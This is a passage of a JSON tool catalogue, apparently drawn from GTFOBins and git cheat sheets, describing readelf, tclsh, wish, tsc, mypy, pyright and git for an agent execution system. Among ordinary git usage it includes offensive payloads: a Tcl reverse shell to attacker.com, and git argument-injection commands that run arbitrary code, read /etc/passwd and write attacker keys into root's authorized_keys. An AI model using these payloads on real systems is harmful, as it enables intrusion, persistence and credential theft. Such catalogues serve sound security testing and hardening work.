        "aliases": [
          "-n",
          "--notes"
        ],
        "flag": "-n"
      },
      {
        "name": "process-links",
        "template_key": "process-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the contents of non-debug sections in separate",
        "aliases": [
          "-P",
          "--process-links"
        ],
        "flag": "-P"
      },
      {
        "name": "program-headers",
        "template_key": "program-headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the program headers",
        "aliases": [
          "-l",
          "--program-headers"
        ],
        "flag": "-l"
      },
      {
        "name": "recurse_limit",
        "type": "boolean",
        "required": false,
        "description": "Enable a demangling recursion limit.  (default)",
        "aliases": [
          "--recurse-limit"
        ],
        "flag": "--recurse-limit"
      },
      {
        "name": "relocated-dump",
        "template_key": "relocated-dump",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Dump the relocated contents of section <number|name>",
        "aliases": [
          "-R",
          "--relocated-dump"
        ],
        "flag": "-R"
      },
      {
        "name": "relocs",
        "template_key": "relocs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the relocations (if present)",
        "aliases": [
          "-r",
          "--relocs"
        ],
        "flag": "-r"
      },
      {
        "name": "section-details",
        "template_key": "section-details",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the section details",
        "aliases": [
          "-t",
          "--section-details"
        ],
        "flag": "-t"
      },
      {
        "name": "section-groups",
        "template_key": "section-groups",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the section groups",
        "aliases": [
          "-g",
          "--section-groups"
        ],
        "flag": "-g"
      },
      {
        "name": "section-headers",
        "template_key": "section-headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the sections' header",
        "aliases": [
          "-S",
          "--section-headers"
        ],
        "flag": "-S"
      },
      {
        "name": "sections",
        "template_key": "sections",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "An alias for --section-headers",
        "aliases": [
          "--sections"
        ],
        "flag": "--sections"
      },
      {
        "name": "segments",
        "template_key": "segments",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "An alias for --program-headers",
        "aliases": [
          "--segments"
        ],
        "flag": "--segments"
      },
      {
        "name": "sframe",
        "template_key": "sframe",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display SFrame info from section NAME, (default '.sframe')",
        "aliases": [
          "--sframe"
        ],
        "flag": "--sframe"
      },
      {
        "name": "silent-truncation I",
        "template_key": "silent-truncation-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-T",
          "--silent-truncation I"
        ],
        "flag": "-T"
      },
      {
        "name": "string-dump",
        "template_key": "string-dump",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Dump the contents of section <number|name> as strings",
        "aliases": [
          "-p",
          "--string-dump"
        ],
        "flag": "-p"
      },
      {
        "name": "sym-base",
        "template_key": "sym-base",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force base for symbol sizes. The options are mixed (the default), octal, decimal, hexadecimal",
        "aliases": [
          "--sym-base"
        ],
        "flag": "--sym-base"
      },
      {
        "name": "symbols",
        "template_key": "symbols",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "An alias for --syms",
        "aliases": [
          "--symbols"
        ],
        "flag": "--symbols"
      },
      {
        "name": "syms",
        "template_key": "syms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the symbol table",
        "aliases": [
          "-s",
          "--syms"
        ],
        "flag": "-s"
      },
      {
        "name": "unwind",
        "template_key": "unwind",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the unwind info (if present)",
        "aliases": [
          "-u",
          "--unwind"
        ],
        "flag": "-u"
      },
      {
        "name": "use-dynamic",
        "template_key": "use-dynamic",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use the dynamic section info when displaying symbols",
        "aliases": [
          "-D",
          "--use-dynamic"
        ],
        "flag": "-D"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Display the version number of readelf",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      },
      {
        "name": "version-info",
        "template_key": "version-info",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the version sections (if present)",
        "aliases": [
          "-V",
          "--version-info"
        ],
        "flag": "-V"
      },
      {
        "name": "wK",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-wK",
          "--debug-dump",
          "-links"
        ],
        "flag": "-wK"
      },
      {
        "name": "wN",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-wN",
          "--debug-dump",
          "-follow-links"
        ],
        "flag": "-wN"
      },
      {
        "name": "wide",
        "template_key": "wide",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow output width to exceed 80 characters",
        "aliases": [
          "-W",
          "--wide"
        ],
        "flag": "-W"
      },
      {
        "name": "wk",
        "type": "boolean",
        "required": false,
        "description": "Display the contents of sections that link to separate",
        "aliases": [
          "-wk",
          "--debug-dump"
        ],
        "flag": "-wk"
      }
    ],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/readelf/"
      }
    ],
    "related_tools": [
      "nm",
      "objdump"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# tclsh\n\ntclsh is a command-line utility. Tcl scripting language shell; can also load arbitrary libraries, send a reverse shell, spawn an interactive shell.\n",
    "_source": "tclsh.md",
    "allowed-tools": [
      "tclsh"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.library.load",
      "security.execution.reverse-shell",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tcl scripting language shell; can execute code, read/write files, and spawn shells.",
    "examples": [
      {
        "description": "Load arbitrary libraries (sudo, suid, unprivileged)",
        "command": "tclsh\nload /path/to/lib.so x"
      },
      {
        "description": "Send a reverse shell (sudo, suid, unprivileged)",
        "command": "tclsh\nset s [socket attacker.com 12345];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "tclsh"
      }
    ],
    "execution": {
      "template": "tclsh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "dev-tcl-tclsh",
    "install": [
      {
        "method": "apt",
        "package_name": "tcl",
        "commands": [
          "apt-get install -y tcl"
        ]
      }
    ],
    "name": "tclsh",
    "namespace": "dev:tcl:tclsh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tclsh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "command-and-control",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wish\n\nwish is a command-line utility. Tcl/Tk GUI application shell; can leverage tclsh capabilities Can leverage capabilities from: tclsh.\n",
    "_source": "wish.md",
    "allowed-tools": [
      "wish"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tcl/Tk GUI application shell; can inherit Tcl capabilities.",
    "examples": [
      {
        "description": "Leverage tclsh capabilities",
        "command": "wish"
      }
    ],
    "execution": {
      "template": "wish",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "dev-tcl-wish",
    "install": [
      {
        "method": "apt",
        "package_name": "tk",
        "commands": [
          "apt-get install -y tk"
        ]
      }
    ],
    "name": "wish",
    "namespace": "dev:tcl:wish",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/wish/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tsc\n\ntsc is a command-line utility. TypeScript compiler; can also read arbitrary files, write to arbitrary files.\n",
    "_source": "tsc.md",
    "allowed-tools": [
      "tsc"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "TypeScript compiler; can execute code and spawn shells.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, unprivileged)",
        "command": "tsc /path/to/input-file.ts"
      },
      {
        "description": "Write to arbitrary files (sudo, unprivileged)",
        "command": "tsc /path/to/input-file.ts --outFile /path/to/output-file"
      }
    ],
    "execution": {
      "template": "tsc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-typescript-tsc",
    "install": [
      {
        "method": "apt",
        "package_name": "node-typescript",
        "commands": [
          "apt-get install -y node-typescript"
        ]
      }
    ],
    "name": "tsc",
    "namespace": "dev:typescript:tsc",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tsc/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "mypy.md",
    "allowed-tools": [
      "mypy",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Python type checker, can execute Python code via plugins.",
    "examples": [
      {
        "description": "Execute Python code via mypy",
        "command": "mypy /path/to/script.py"
      }
    ],
    "execution": {
      "template": "mypy /path/to/script.py",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-typing-mypy",
    "install": [
      {
        "method": "pip",
        "package_name": "mypy",
        "commands": [
          "pip install mypy"
        ]
      }
    ],
    "name": "mypy",
    "namespace": "dev:typing:mypy",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/mypy/"
      }
    ],
    "related_tools": [
      "python",
      "pyright"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pyright.md",
    "allowed-tools": [
      "pyright",
      "mypy",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Python type checker (Node.js), can execute commands.",
    "examples": [
      {
        "description": "Execute command via pyright",
        "command": "pyright /path/to/script.py"
      }
    ],
    "execution": {
      "template": "pyright /path/to/script.py",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-typing-pyright",
    "install": [
      {
        "method": "npm",
        "package_name": "pyright",
        "commands": [
          "npm install -g pyright"
        ]
      }
    ],
    "name": "pyright",
    "namespace": "dev:typing:pyright",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pyright/"
      }
    ],
    "related_tools": [
      "mypy",
      "python"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# Git — Distributed Version Control\n\nGit is a distributed version control system designed to handle everything from small to very large projects with speed and efficiency. It allows multiple developers to work on the same codebase simultaneously through branching, merging, and distributed workflows.\n\n## Core Concepts\n\n### Repositories\nA Git repository is a data structure that stores metadata and object database for a project. Repositories can be local (on-disk) or remote (network-accessible).\n\n### Commits\nSnapshots of the project at a point in time. Each commit has a unique SHA-1 hash, author, timestamp, and parent pointer forming a directed acyclic graph.\n\n### Branches\nLightweight movable pointers to commits. The default branch is `main` (formerly `master`). Branching in Git is cheap and encouraged.\n\n### The Three States\n1. **Working Directory** — Modified files not yet staged\n2. **Staging Area (Index)** — Files marked for inclusion in next commit\n3. **Repository** — Committed snapshots stored in `.git/`\n\n## Common Workflows\n\n```bash\n# Standard commit workflow\ngit add <files>\ngit commit -m \"descriptive message\"\ngit push origin main\n\n# Feature branch workflow\ngit checkout -b feature/xyz\ngit add .\ngit commit -m \"feat: add xyz\"\ngit checkout main\ngit merge feature/xyz\n```\n\n## Undoing Changes\n\n```bash\n# Unstage a file\ngit reset HEAD <file>\n\n# Discard working directory changes\ngit checkout -- <file>\n\n# Amend last commit message\ngit commit --amend -m \"new message\"\n\n# Reset to previous commit (destructive)\ngit reset --hard HEAD~1\n```\n\n## Remote Operations\n\n```bash\n# Add a remote\ngit remote add origin https://github.com/user/repo.git\n\n# Fetch without merging\ngit fetch origin\n\n# Pull with rebase\ngit pull --rebase origin main\n\n# Push to remote\ngit push -u origin main\n```\n\n## Related Tools\n\n- **[gh](../vcs/gh.md)** — GitHub CLI for issue/PR management\n- **[lazygit](../vcs/lazygit.md)** — Terminal UI for Git\n- **[diff-so-fancy](../vcs/diff-so-fancy.md)** — Improved diff output\n",
    "_source": "git.md",
    "allowed-tools": [
      "git",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "dev.vcs.repository",
        "description": "Git repository initialized or cloned",
        "trust_level": "verified"
      },
      {
        "type": "dev.vcs.commit.object",
        "description": "Commit object created",
        "trust_level": "verified"
      },
      {
        "type": "dev.vcs.diff.output",
        "description": "Unified diff output",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "dev.vcs.log.output",
        "description": "Git log output",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "dev.vcs.log",
      "dev.vcs.branch",
      "dev.vcs.diff",
      "dev.vcs.push",
      "dev.vcs.stash",
      "dev.vcs.merge",
      "dev.vcs.rebase",
      "dev.vcs.status",
      "dev.vcs.pull",
      "dev.vcs.commit",
      "dev.vcs.clone",
      "dev.vcs.tag",
      "security.execution.command",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [
        {
          "type": "dev.vcs.remote.url",
          "description": "Remote repository URL for clone/push/pull"
        },
        {
          "type": "dev.vcs.path",
          "description": "Local repository or file path"
        }
      ],
      "outputs": [
        {
          "type": "dev.vcs.repository",
          "description": "Initialized or modified repository"
        },
        {
          "type": "dev.vcs.diff.output",
          "description": "Changeset diff",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Distributed version control system for tracking changes in source code and coordinating collaborative development.",
    "examples": [
      {
        "description": "Initialize a new repository",
        "command": "git init my-project"
      },
      {
        "description": "Clone a remote repository",
        "command": "git clone https://github.com/user/repo.git"
      },
      {
        "description": "Stage and commit changes",
        "command": "git add . && git commit -m 'initial commit'"
      },
      {
        "description": "View commit history",
        "command": "git log --oneline --graph -10"
      },
      {
        "description": "Create and switch to a new branch",
        "command": "git checkout -b feature/new-feature"
      },
      {
        "description": "The --open-files-in-pager flag can be used to run arbitrary commands. Any of the following should work.",
        "command": "git grep --open-files-in-pager='uname -a #' .\ngit grep --open-files-in-pager='uname;' .\n"
      },
      {
        "description": "The --upload-pack flag can be used in multiple contexts. Note that the output is not necessarily shown (but you can route the output to stderr and possibly view it, by using `>&2`). ls-remote is the only example which does not require the command to be run within a tracked folder. Any of the following should work.",
        "command": "git ls-remote --upload-pack='uname -a > /tmp/file #' main\ngit fetch origin --upload-pack='cat /etc/passwd >&2 ;'\ngit pull origin --upload-pack='wget attacker.com/key -O /root/.ssh/authorized-keys #'\n"
      },
      {
        "description": "The `--upload-pack` / `-u` flag on `git clone` can execute commands. A colon in the positional argument helps trigger execution.",
        "command": "git clone '-u$({touch,/tmp/foo})' ':x'\n"
      },
      {
        "description": "This method takes advantage of one of the file-write methods to overwrite `.git/config`. Officially, this is probably out of scope of GTFOArgs, but it is included anyways. `id` is executed and written to `/tmp/fsmonitor` in this example.",
        "command": "git commit --allow-empty -m 'fsmonitor = \"id>/tmp/fsmonitor\"'\ngit commit --allow-empty -m '[core]'\ngit log --max-count=2 --pretty=format:\"%s\" --output=./.git/config\ngit status\n"
      },
      {
        "description": "It is common to use `git diff` to compare a single file to a different version of itself in history. The `--no-index` flag can be used to effectively turn `git diff` into normal `diff` against another file _within the git repository_ (but not necessarily tracked).",
        "command": "git diff --no-index local-secret-file.conf git.md\n"
      },
      {
        "description": "Argument injection: execute arbitrary command: The --open-files-in-pager flag can be used to run arbitrary commands. Any of the following should work.",
        "command": "git grep --open-files-in-pager='uname -a #' .\ngit grep --open-files-in-pager='uname;' ."
      },
      {
        "description": "Argument injection: execute arbitrary command: The --upload-pack flag can be used in multiple contexts. Note that the output is not necessarily shown (but you can route the output to stderr and possibly view it, by using `>&2`). ls-remote is the only example which does not require the command to be run within a tracked folder. Any of the following should work.",
        "command": "git ls-remote --upload-pack='uname -a > /tmp/file #' main\ngit fetch origin --upload-pack='cat /etc/passwd >&2 ;'\ngit pull origin --upload-pack='wget attacker.com/key -O /root/.ssh/authorized-keys #'"
      },
      {
        "description": "Argument injection: execute arbitrary command: The `--upload-pack` / `-u` flag on `git clone` can execute commands. A colon in the positional argument helps trigger execution.",
        "command": "git clone '-u$({touch,/tmp/foo})' ':x'"
      },
      {
        "description": "Argument injection: execute arbitrary command: This method takes advantage of one of the file-write methods to overwrite `.git/config`. Officially, this is probably out of scope of GTFOArgs, but it is included anyways. `id` is executed and written to `/tmp/fsmonitor` in this example.",
        "command": "git commit --allow-empty -m 'fsmonitor = \"id>/tmp/fsmonitor\"'\ngit commit --allow-empty -m '[core]'\ngit log --max-count=2 --pretty=format:\"%s\" --output=./.git/config\ngit status"
      },
      {
        "description": "Argument injection: read local file: It is common to use `git diff` to compare a single file to a different version of itself in history. The `--no-index` flag can be used to effectively turn `git diff` into normal `diff` against another file _within the git repository_ (but not necessarily tracked).",
        "command": "git diff --no-index local-secret-file.conf git.md"
      },
      {
        "description": "Argument injection: read local file: If you are reading a file outside of the git directory, you can use `git diff` against `/dev/null`.",
        "command": "git diff /dev/null /etc/passwd"
      },
      {
        "description": "Argument injection: read local file: The `--file` flag on `git tag` reads a file's contents into the tag message. Retrieve it with `git cat-file`.",
        "command": "git tag '--file=/etc/passwd' main\ngit cat-file -p refs/tags/main"
      },
      {
        "description": "Argument injection: write to local file: Outputs the most recent changelog to an arbitrary file. Note that this also contains the commit information.",
        "command": "git log --max-count=1 --output=/root/.ssh/authorized_keys"
      },
      {
        "description": "Argument injection: write to local file: Outputs the first line of the most recent commit message to an arbitrary file.",
        "command": "git log --max-count=1 --pretty=format:\"%s\" --output=/root/.ssh/authorized_keys"
      },
      {
        "description": "Argument injection: write to local file: Can be used to overwrite a file, or create an empty file.",
        "command": "git blame --output=/tmp/file_to_truncate.txt"
      },
      {
        "description": "Argument injection: write to local file: Archives the repository to an arbitrary output file.",
        "command": "git archive '--output=/tmp/foo'"
      },
      {
        "description": "Argument injection: write to local file: The undocumented `--output` flag on `git diff` can truncate or create files.",
        "command": "git diff '--output=/tmp/file_to_truncate.txt'"
      },
      {
        "description": "Set your identity.",
        "command": "git config --global user.name \"John Doe\""
      },
      {
        "description": "cheat.sheets: git",
        "command": "git config --global user.email johndoe@example.com"
      },
      {
        "description": "Set your editor.",
        "command": "git config --global core.editor emacs"
      },
      {
        "description": "Enable color support for commands like `git diff`. Disable with `never` or partially disable -- unless otherwise applied -- with `false`.",
        "command": "git config --global color.ui true"
      },
      {
        "description": "Stage all changes for commit.",
        "command": "git add [--all|-A]"
      },
      {
        "description": "Stash changes locally. This will keep the changes in a separate changelist, - called 'stash', and the working directory is cleaned. You can apply changes from the stash at any time.",
        "command": "git stash"
      },
      {
        "description": "Stash changes with a message.",
        "command": "git stash save \"message\""
      },
      {
        "description": "List all the stashed changes.",
        "command": "git stash list"
      },
      {
        "description": "Apply the most recent change and remove the stash from the stash list.",
        "command": "git stash pop"
      },
      {
        "description": "Apply stash from the stash list, but does not remove the stash from the list.",
        "command": "git stash apply stash@{6}"
      },
      {
        "description": "Commit staged changes.",
        "command": "git commit -m \"Your commit message\""
      },
      {
        "description": "Edit previous commit message.",
        "command": "git commit --amend"
      },
      {
        "description": "Commit in the past. Newer versions of Git allow `--date=\"2 days ago\"` usage.",
        "command": "git commit --date=\"`date --date='2 day ago'`\""
      },
      {
        "description": "cheat.sheets: git",
        "command": "git commit --date=\"Jun 13 18:30:25 IST 2015\""
      },
      {
        "description": "Change the date of an existing commit.",
        "command": "git filter-branch --env-filter \\"
      },
      {
        "description": "cheat.sheets: git",
        "command": "'if [ $GIT_COMMIT = 119f9ecf58069b265ab22f1f97d2b648faf932e0 ]"
      },
      {
        "description": "cheat.sheets: git",
        "command": "then"
      },
      {
        "description": "cheat.sheets: git",
        "command": "export GIT_AUTHOR_DATE=\"Fri Jan 2 21:38:53 2009 -0800\""
      },
      {
        "description": "cheat.sheets: git",
        "command": "export GIT_COMMITTER_DATE=\"Sat May 19 01:01:01 2007 -0700\""
      },
      {
        "description": "cheat.sheets: git",
        "command": "fi'"
      },
      {
        "description": "Remove staged and working directory changes.",
        "command": "git reset --hard"
      },
      {
        "description": "Go 2 commits back.",
        "command": "git reset --hard HEAD~2"
      },
      {
        "description": "Remove untracked files.",
        "command": "git clean -f -d"
      },
      {
        "description": "Remove untracked and ignored files.",
        "command": "git clean -f -d -x"
      },
      {
        "description": "Push to the tracked master branch.",
        "command": "git push origin master"
      },
      {
        "description": "Push to a specified repository.",
        "command": "git push git@github.com:[USER_NAME]/[REPO_NAME].git"
      },
      {
        "description": "Delete the branch \"branch_name\".",
        "command": "git branch -D [BRANCH]"
      },
      {
        "description": "Make an existing branch track a remote branch.",
        "command": "git branch -u upstream/foo"
      },
      {
        "description": "List all local and remote branches.",
        "command": "git branch -a"
      },
      {
        "description": "See who committed which line in a file.",
        "command": "git blame [FILE]"
      },
      {
        "description": "Sync a fork with the master repo.",
        "command": "git remote add upstream git@github.com:name/repo.git # <-- Set a new repo."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git remote -v # <-- Confirm new remote repo."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git fetch upstream # <-- Get branches."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git branch -va # <-- List local - remote branches."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git checkout master # <-- Checkout local master branch."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git checkout -b new_branch # <-- Create and checkout a new branch."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git merge upstream/master # <-- Merge remote into local repo."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git show 83fb499 # <-- Show what a commit did."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git show 83fb499:path/to/file.ext # <-- Show the file as it was in 83fb499."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git diff branch_1 branch_2 # <-- Check difference between branches."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git log # <-- Show all of the commits."
      },
      {
        "description": "cheat.sheets: git",
        "command": "git status # <-- Show the changes from the last commit."
      },
      {
        "description": "Display the commit history of a set of files.",
        "command": "git log --pretty=email --patch-with-stat --reverse --full-index -- Admin\\*.py > Sripts.patch"
      },
      {
        "description": "Import commits from another repo.",
        "command": "git --git-dir=../some_other_repo/.git format-patch -k -1 --stdout <commit SHA> | git am -3 -k"
      },
      {
        "description": "View commits which would be pushed.",
        "command": "git log @{u}.."
      },
      {
        "description": "View changes which are new on a feature branch.",
        "command": "git log -p feature --not master"
      },
      {
        "description": "cheat.sheets: git",
        "command": "git diff master...feature"
      },
      {
        "description": "Interactive rebase for the last 7 commits.",
        "command": "git rebase -i @~7"
      },
      {
        "description": "Show changes to files WITHOUT considering them a part of git. This can be used to diff files which are not part of a git repo!",
        "command": "git diff --no-index path/to/file/A path/to/file/B"
      },
      {
        "description": "Pull changes, while overwriting any local commits.",
        "command": "git fetch --all"
      },
      {
        "description": "cheat.sheets: git",
        "command": "git reset --hard origin/master"
      },
      {
        "description": "Update all submodules.",
        "command": "git submodule update --init --recursive"
      },
      {
        "description": "Perform a shallow clone, to only get the latest commits, which helps to save data (good for limited data connections) when cloning large repos.",
        "command": "git clone --depth 1 <remote-url>"
      },
      {
        "description": "Unshallow a clone.",
        "command": "git pull --unshallow"
      },
      {
        "description": "Create a bare branch; without any commits.",
        "command": "git checkout --orphan branch_name"
      },
      {
        "description": "Checkout a new branch from a different starting point.",
        "command": "git checkout -b master upstream/master"
      },
      {
        "description": "Reset local branch to upstream branch, then checkout it.",
        "command": "git checkout -B master upstream/master"
      },
      {
        "description": "Remove all stale branches; ones that have been deleted on remote. So if you have a lot of useless branches, delete them on GitHub and then run this.",
        "command": "git remote prune origin"
      },
      {
        "description": "Prune all remotes at once.",
        "command": "git remote prune $(git remote | tr '\\n' ' ')"
      },
      {
        "description": "Revisions can also be identified with `:/text`. So, this will show the first commit that has the string \"cool\" in its message body.",
        "command": "git show :/cool"
      },
      {
        "description": "Undo parts of the last commit in a specific file.",
        "command": "git checkout -p HEAD^ -- /path/to/file"
      },
      {
        "description": "Revert a commit, but keep the history of the event as a separate commit.",
        "command": "git revert <commit SHA>"
      },
      {
        "description": "Apply only the changes made within a given commit. This is different to the `merge` command, as it would otherwise apply all commits from a branch.",
        "command": "git cherry-pick [HASH]"
      },
      {
        "description": "Undo last commit. If you want to nuke commit C to never see it again: (F) A-B-C ↑ master",
        "command": "git reset --hard HEAD~1"
      },
      {
        "description": "Undo last commit. If you want to undo the commit, but keep your changes: (F) A-B-C ↑ master",
        "command": "git reset HEAD~1"
      },
      {
        "description": "List files changed in a given commit.",
        "command": "git diff-tree --no-commit-id --name-only -r [HASH]"
      },
      {
        "description": "Porcelain-ly List files changed in a given commit; user-facing approach.",
        "command": "git show --pretty=\"\" --name-only bd61ad98"
      },
      {
        "description": "See everything you have done, across branches, in a glance, then go to the place right before you broke everything.",
        "command": "git reflog"
